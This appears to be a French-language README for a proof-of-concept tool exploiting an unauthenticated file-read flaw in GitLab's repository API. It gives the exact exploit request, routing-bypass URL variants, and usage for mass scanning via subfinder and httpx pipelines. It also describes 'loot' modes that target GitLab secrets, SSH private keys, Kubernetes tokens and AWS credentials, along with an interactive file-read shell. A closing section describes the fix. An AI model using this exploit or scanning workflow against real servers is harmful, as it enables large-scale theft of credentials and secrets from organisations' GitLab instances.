
CVE-2026-85706 · Lecture de fichiers non authentifiée dans GitLab CE/EE · PoC de recherche avec mode oracle, énumération de descripteurs de fichiers et ciblage de butin par niveaux
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Affecté | 18.7 à 19.1.7, 19.2.0 à 19.2.5, 19.3.0 à 19.3.1 |
| Corrigé | 19.1.8 / 19.2.6 / 19.3.2 (publié le 2026-09-10) |
| Composant | Repository Commits API / Files API (Workhorse body-upload) |
| Rapporteur | s3ntago via GitLab HackerOne |
Trois endpoints de l'API repository se trouvent derrière le requestBodyUploader de Workhorse :
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
Le handler Rails appelle File.open(params['file.path']) avant authenticate!. Quatre conditions rendent cela exploitable :
1. L'authentification se déclenche après la lecture du fichier.
require_gitlab_workhorse! ne vérifie que l'en-tête JWT Gitlab-Workhorse-Api-Request. Workhorse appose cet en-tête sur chaque requête qu'il proxifie, y compris les simples passthroughs. Le véritable authenticate! se trouve à l'intérieur de authorize_push_to_branch!, qui s'exécute après que file_params_from_body_upload a déjà lu le fichier sur le disque.
2. file.path provient directement de la requête.
file_params_from_body_upload lit params['file.path'] comme un chemin absolu sans aucune validation. Dans le flux prévu, Workhorse écrit l'upload dans un fichier temporaire et injecte lui-même ce paramètre. Un attaquant l'envoie simplement directement comme paramètre de query string pointant n'importe où sur le système de fichiers.
3. Le matching de routes de Workhorse ne décode jamais le percent-encoding.
Workhorse fait correspondre les routes d'upload avec EscapedPath(), les octets bruts de l'URL tels que reçus. Puma décode les séquences %XX avant le routage vers Grape. Ainsi, encoder un caractère dans un segment statique fait que Workhorse saute sa règle de réécriture tandis que Rails route toujours vers le handler vulnérable :
POST /api/v4/projects/1/repository/commits/ (trailing slash)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape format suffix)
4. Rack renvoie le contenu du fichier dans la réponse d'erreur.
Avec Content-Type: application/x-www-form-urlencoded, le contenu du fichier est transmis à Rack::Utils.parse_nested_query. Tout % nu non suivi de deux chiffres hexadécimaux déclenche InvalidParameterError: invalid %-encoding (<content>). Tout ce qui précède le premier & dans le fichier est renvoyé dans le corps de la réponse 400.
Les fichiers sans % nu sont tout de même lus avant authentification. La réponse 401 de la branche urlencoded et la 500 de la branche multipart confirment toutes deux que le fichier existe et est lisible par l'utilisateur git, ce qui les rend utiles comme oracle d'existence.
Requête d'exploit :
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file lit n'importe quel fichier unique ; bascule automatiquement vers l'oracle s'il n'y a pas de déclencheur d'écho--loot exécute 36 cibles réparties sur 7 niveaux, ordonnées par probabilité confirmée de déclencheur d'écho--oracle exécute une sonde à double branche (urlencoded + multipart) contre les fichiers sans écho et indique si chacun est lisible, manquant ou illisible--proc énumère /proc/self/fd/0-31 pour trouver les descripteurs de fichiers ouverts, puis lit les cibles de reconnaissance /proc standard--shell ouvre un shell interactif de lecture de fichiers avec les commandes cat, loot, oracle, project et curl--pipe lit les cibles depuis stdin et gère la sortie subfinder, le texte httpx, le JSON httpx, le JSON nuclei et les lignes d'hôtes brutes--list prend un fichier de cibles, une par ligne--threads pour le scan en masse concurrent--proxy route tout via Burp ou mitmproxy--raw écrit les octets bruts sur stdout sans décoration, utile pour rediriger vers un fichier--full exécute loot, oracle et proc en une seule passe-opip install requests
python3 gitread.py -h
Nécessite Python 3.10 ou plus récent. Aucune autre dépendance.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin est détecté automatiquement lorsqu'il ne s'agit pas d'un TTY, donc --pipe est optionnel dans la plupart des cas.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| Verdict | Signification |
|---|---|
leak | Contenu du fichier renvoyé dans le corps 400, lecture confirmée |
leak-frag | Écho partiel via une erreur de type de paramètre |
read-noecho | Le fichier a été lu avant authentification mais ne contient pas de % nu, donc rien n'est renvoyé |
READABLE | La branche multipart a renvoyé 500, le fichier existe et est lisible par l'utilisateur git |
missing | Le serveur a indiqué que le fichier local est absent |
rewrite | Workhorse a réécrit le corps, cette forme de contournement est morte |
noroute | Rails 404, l'instance est corrigée ou le chemin est erroné |
server-error | 500, le fichier existe mais a provoqué une erreur de parsing |
| Niveau | Fichiers | Écho |
|---|---|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | Fuite de contenu directe |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Oracle uniquement, hexadécimal pur |
| 3 | .gitlab_workhorse_secret | Oracle uniquement |
| 4 | Clés privées SSH et authorized_keys | Oracle uniquement |
| 5 | gitlab-shell.yml, gitaly.toml, configuration PostgreSQL | Oracle uniquement |
| 6 | Jeton de compte de service Kubernetes, identifiants AWS | Oracle uniquement |
| 7 | Hostname, hosts, passwd, os-release, environ | Oracle uniquement |
| Option | Description |
|---|---|
-t, -u, --target | URL de base unique |
--pipe | Lire les cibles depuis stdin |
--list FILE | Fichier de cibles |
--file PATH | Chemin absolu unique à lire |
--loot | Exécution complète du loot sur 36 cibles |
--oracle | Sonde à double branche des fichiers sans écho |
--proc | Énumération des fd /proc et reconnaissance |
--shell | Shell interactif après le scan |
--full | loot + oracle + proc |
--project-id ID | Forcer un id de projet au lieu de l'auto-détection |
--force | Scanner même si la cible ne s'identifie pas comme GitLab |
--raw | Écrire les octets bruts sur stdout, sans décoration |
--proxy URL | Proxy HTTP/S |
--threads N | Threads de travail pour le mode pipeline (défaut 8) |
--timeout N | Timeout par requête en secondes (défaut 15) |
-o FILE | Enregistrer le rapport (.json pour un tableau formaté, autre chose pour JSONL) |
-q, --quiet | N'afficher que les hits |
-v, --verbose | Afficher chaque tentative de sonde |
--no-banner | Supprimer la bannière |
Codes de sortie : 0 fuite confirmée, 1 oracle uniquement ou aucune fuite en pipeline, 2 rien trouvé.
Corrigé dans le commit master 0d9ce3e7, rétroporté sous 1fe30154 / b43c8b26 / 0ff7b6b2.
Trois choses ont été modifiées en même temps :
authenticate! a été déplacé avant file_params_from_body_upload dans les trois endpoints afin que le fichier ne soit jamais lu pour une requête non authentifiéefile.path n'est désormais accepté que depuis un objet UploadedFile typé produit par le middleware multipart, ce qui nécessite un JWT valide signé par Workhorse, et non depuis un paramètre de query string brutInvalidParameterError n'interpole plus e.message dans le corps de la réponse, fermant ainsi le canal d'écho même si quelqu'un trouvait un moyen de contourner les deux premiers correctifsLe bug a été introduit dans GitLab 18.7 (décembre 2025) lorsque la variante body-upload de l'API commits a été ajoutée.
fait avec amour par @plur1bu5 -- si vous le trouvez utile, une étoile est appréciée